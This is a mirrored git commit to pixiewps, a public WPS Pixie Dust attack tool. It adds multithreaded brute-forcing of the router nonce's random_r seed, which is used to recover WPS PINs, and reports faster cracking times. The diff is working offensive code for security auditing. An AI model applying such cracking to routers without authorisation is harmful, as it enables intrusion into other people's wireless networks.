mirror of
https://github.com/wiire-a/pixiewps.git
synced 2025-07-27 15:54:29 +02:00
implement -j option for parallel cracks using pthreads
a user-defined number of jobs (N) is started, each one is assigned SECS_PER_JOB_BLOCK seeds to iterate over, after finishing the block N * SECS_PER_JOB_BLOCK jobs are skipped, and it goes on again. that way it is assured that more recent seeds get treated first. in preliminary tests with a seed 2 years ago, using 8 jobs the cracking time was reduced from 77 to 24 seconds. it is possible that adjusting SECS_PER_JOB_BLOCK to a higher value than currently speeds up cracking even more, since there will be less "interruptions" in the CPUs branch prediction.
This commit is contained in:
parent
6c145761c3
commit
80f7774e98
@ -3,14 +3,16 @@ CCFLAGS ?= -std=c99 -O3
|
|||||||
TARGET = pixiewps
|
TARGET = pixiewps
|
||||||
CRYPTO = crypto/sha256.c crypto/md.c crypto/md_wrap.c
|
CRYPTO = crypto/sha256.c crypto/md.c crypto/md_wrap.c
|
||||||
SOURCE = $(TARGET).c random_r.c $(CRYPTO)
|
SOURCE = $(TARGET).c random_r.c $(CRYPTO)
|
||||||
|
LIBS = -lpthread
|
||||||
|
|
||||||
PREFIX ?= $(DESTDIR)/usr
|
PREFIX ?= $(DESTDIR)/usr
|
||||||
BINDIR = $(PREFIX)/bin
|
BINDIR = $(PREFIX)/bin
|
||||||
|
|
||||||
all:
|
all:
|
||||||
$(CC) $(CFLAGS) $(CCFLAGS) $(CPPFLAGS) -o $(TARGET) $(SOURCE) $(LDFLAGS)
|
$(CC) $(CFLAGS) $(CCFLAGS) $(CPPFLAGS) -o $(TARGET) $(SOURCE) $(LIBS) $(LDFLAGS)
|
||||||
|
|
||||||
debug:
|
debug:
|
||||||
$(CC) $(CLFAGS) $(CCFLAGS) $(CPPFLAGS) -DDEBUG -o $(TARGET) $(SOURCE) $(LDFLAGS)
|
$(CC) $(CLFAGS) $(CCFLAGS) $(CPPFLAGS) -DDEBUG -o $(TARGET) $(SOURCE) $(LIBS) $(LDFLAGS)
|
||||||
|
|
||||||
install:
|
install:
|
||||||
rm -f $(BINDIR)/$(TARGET)
|
rm -f $(BINDIR)/$(TARGET)
|
||||||
|
135
src/pixiewps.c
135
src/pixiewps.c
@ -25,6 +25,7 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <getopt.h>
|
#include <getopt.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <sys/time.h>
|
#include <sys/time.h>
|
||||||
@ -41,7 +42,7 @@ uint32_t ecos_rand_simple(uint32_t *seed);
|
|||||||
uint32_t ecos_rand_knuth(uint32_t *seed);
|
uint32_t ecos_rand_knuth(uint32_t *seed);
|
||||||
uint_fast8_t crack(struct global *g, char *pin);
|
uint_fast8_t crack(struct global *g, char *pin);
|
||||||
|
|
||||||
static const char *option_string = "e:r:s:z:a:n:m:b:o:v:SflVh?";
|
static const char *option_string = "e:r:s:z:a:n:m:b:o:v:j:SflVh?";
|
||||||
static const struct option long_options[] = {
|
static const struct option long_options[] = {
|
||||||
{ "pke", required_argument, 0, 'e' },
|
{ "pke", required_argument, 0, 'e' },
|
||||||
{ "pkr", required_argument, 0, 'r' },
|
{ "pkr", required_argument, 0, 'r' },
|
||||||
@ -53,6 +54,7 @@ static const struct option long_options[] = {
|
|||||||
{ "e-bssid", required_argument, 0, 'b' },
|
{ "e-bssid", required_argument, 0, 'b' },
|
||||||
{ "output", required_argument, 0, 'o' },
|
{ "output", required_argument, 0, 'o' },
|
||||||
{ "verbosity", required_argument, 0, 'v' },
|
{ "verbosity", required_argument, 0, 'v' },
|
||||||
|
{ "jobs", required_argument, 0, 'j' },
|
||||||
{ "dh-small", no_argument, 0, 'S' },
|
{ "dh-small", no_argument, 0, 'S' },
|
||||||
{ "force", no_argument, 0, 'f' },
|
{ "force", no_argument, 0, 'f' },
|
||||||
{ "length", no_argument, 0, 'l' },
|
{ "length", no_argument, 0, 'l' },
|
||||||
@ -65,6 +67,89 @@ static const struct option long_options[] = {
|
|||||||
{ 0, 0, 0, 0 }
|
{ 0, 0, 0, 0 }
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#define SECS_PER_JOB_BLOCK 1000
|
||||||
|
|
||||||
|
struct crack_job {
|
||||||
|
pthread_t thr;
|
||||||
|
time_t start;
|
||||||
|
};
|
||||||
|
|
||||||
|
static struct job_control {
|
||||||
|
int jobs;
|
||||||
|
time_t end;
|
||||||
|
uint32_t randr_enonce[4];
|
||||||
|
struct crack_job *crack_jobs;
|
||||||
|
volatile uint32_t print_seed;
|
||||||
|
} job_control;
|
||||||
|
|
||||||
|
static void* crack_thread(void *arg) {
|
||||||
|
struct crack_job * j = arg;
|
||||||
|
struct random_data *buf = calloc(1, sizeof(struct random_data));
|
||||||
|
char *rand_statebuf = calloc(1, 128);
|
||||||
|
|
||||||
|
uint32_t seed = j->start;
|
||||||
|
uint32_t limit = job_control.end;
|
||||||
|
initstate_r(seed, rand_statebuf, 128, buf);
|
||||||
|
int32_t res = 0;
|
||||||
|
|
||||||
|
while (!job_control.print_seed) {
|
||||||
|
srandom_r(seed, buf);
|
||||||
|
unsigned i;
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
random_r(buf, &res);
|
||||||
|
if ((uint32_t) res != job_control.randr_enonce[i])
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i == 4) {
|
||||||
|
job_control.print_seed = seed;
|
||||||
|
DEBUG_PRINT("Seed found");
|
||||||
|
}
|
||||||
|
|
||||||
|
seed--;
|
||||||
|
if(seed < j->start - SECS_PER_JOB_BLOCK) {
|
||||||
|
j->start -= SECS_PER_JOB_BLOCK * job_control.jobs;
|
||||||
|
seed = j->start;
|
||||||
|
if (seed < limit) break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void init_crack_jobs(int jobs, struct global *wps) {
|
||||||
|
job_control.jobs = jobs;
|
||||||
|
job_control.end = wps->end;
|
||||||
|
job_control.print_seed = 0;
|
||||||
|
memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
|
||||||
|
/* Converting enrollee nonce to the sequence may be generated by current random function */
|
||||||
|
int i, j = 0;
|
||||||
|
for (int i = 0; i < 4; i++) {
|
||||||
|
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||||
|
job_control.randr_enonce[i] <<= 8;
|
||||||
|
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||||
|
job_control.randr_enonce[i] <<= 8;
|
||||||
|
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||||
|
job_control.randr_enonce[i] <<= 8;
|
||||||
|
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||||
|
}
|
||||||
|
job_control.crack_jobs = malloc(jobs * sizeof (struct job_control));
|
||||||
|
time_t curr = wps->start;
|
||||||
|
for(i=0; i<jobs; i++) {
|
||||||
|
job_control.crack_jobs[i].start = curr;
|
||||||
|
pthread_create(&job_control.crack_jobs[i].thr, NULL, crack_thread, &job_control.crack_jobs[i]);
|
||||||
|
curr -= SECS_PER_JOB_BLOCK;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint32_t collect_crack_jobs(void) {
|
||||||
|
int i;
|
||||||
|
for(i=0;i<job_control.jobs;i++) {
|
||||||
|
void* ret;
|
||||||
|
pthread_join(job_control.crack_jobs[i].thr, &ret);
|
||||||
|
}
|
||||||
|
return job_control.print_seed;
|
||||||
|
}
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
int main(int argc, char **argv) {
|
||||||
|
|
||||||
struct global *wps;
|
struct global *wps;
|
||||||
@ -87,10 +172,14 @@ memory_err:
|
|||||||
int opt = 0;
|
int opt = 0;
|
||||||
int long_index = 0;
|
int long_index = 0;
|
||||||
uint_fast8_t c = 0;
|
uint_fast8_t c = 0;
|
||||||
|
int jobs = 1;
|
||||||
opt = getopt_long(argc, argv, option_string, long_options, &long_index);
|
opt = getopt_long(argc, argv, option_string, long_options, &long_index);
|
||||||
while (opt != -1) {
|
while (opt != -1) {
|
||||||
c++;
|
c++;
|
||||||
switch (opt) {
|
switch (opt) {
|
||||||
|
case 'j':
|
||||||
|
jobs = atoi(optarg);
|
||||||
|
break;
|
||||||
case 'e':
|
case 'e':
|
||||||
wps->pke = malloc(WPS_PKEY_LEN);
|
wps->pke = malloc(WPS_PKEY_LEN);
|
||||||
if (!wps->pke)
|
if (!wps->pke)
|
||||||
@ -578,18 +667,8 @@ usage_err:
|
|||||||
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
|
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
|
||||||
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
|
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
|
||||||
|
|
||||||
/* Converting enrollee nonce to the sequence may be generated by current random function */
|
init_crack_jobs(jobs, wps);
|
||||||
uint32_t randr_enonce[4] = { 0 };
|
|
||||||
uint_fast8_t j = 0;
|
|
||||||
for (uint_fast8_t i = 0; i < 4; i++) {
|
|
||||||
randr_enonce[i] |= wps->e_nonce[j++];
|
|
||||||
randr_enonce[i] <<= 8;
|
|
||||||
randr_enonce[i] |= wps->e_nonce[j++];
|
|
||||||
randr_enonce[i] <<= 8;
|
|
||||||
randr_enonce[i] |= wps->e_nonce[j++];
|
|
||||||
randr_enonce[i] <<= 8;
|
|
||||||
randr_enonce[i] |= wps->e_nonce[j++];
|
|
||||||
}
|
|
||||||
|
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
{
|
{
|
||||||
@ -607,36 +686,14 @@ usage_err:
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
print_seed = collect_crack_jobs();
|
||||||
|
|
||||||
struct random_data *buf = calloc(1, sizeof(struct random_data));
|
struct random_data *buf = calloc(1, sizeof(struct random_data));
|
||||||
char *rand_statebuf = calloc(1, 128);
|
char *rand_statebuf = calloc(1, 128);
|
||||||
|
initstate_r(print_seed, rand_statebuf, 128, buf);
|
||||||
seed = wps->start;
|
|
||||||
uint32_t limit = wps->end;
|
|
||||||
initstate_r(seed, rand_statebuf, 128, buf);
|
|
||||||
int32_t res = 0;
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
srandom_r(seed, buf);
|
|
||||||
uint_fast8_t i;
|
|
||||||
for (i = 0; i < 4; i++) {
|
|
||||||
random_r(buf, &res);
|
|
||||||
if ((uint32_t) res != randr_enonce[i])
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (i == 4) {
|
|
||||||
print_seed = seed;
|
|
||||||
DEBUG_PRINT("Seed found");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (print_seed || seed == limit) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
seed--;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (print_seed) { /* Seed found */
|
if (print_seed) { /* Seed found */
|
||||||
|
int32_t res;
|
||||||
uint_fast8_t i = 0;
|
uint_fast8_t i = 0;
|
||||||
uint8_t tmp_s_nonce[16];
|
uint8_t tmp_s_nonce[16];
|
||||||
do {
|
do {
|
||||||
|
@ -134,6 +134,7 @@ char usage[] =
|
|||||||
" -l, --length : Brute-force entire pin length (experimental)\n"
|
" -l, --length : Brute-force entire pin length (experimental)\n"
|
||||||
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
|
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
|
||||||
" -o, --output : Write output to file\n"
|
" -o, --output : Write output to file\n"
|
||||||
|
" -j, --jobs : Number of parallel threads to use [1]\n"
|
||||||
"\n"
|
"\n"
|
||||||
" -h : Display this usage screen\n"
|
" -h : Display this usage screen\n"
|
||||||
" --help : Verbose help and more usage examples\n"
|
" --help : Verbose help and more usage examples\n"
|
||||||
|
Loading…
x
Reference in New Issue
Block a user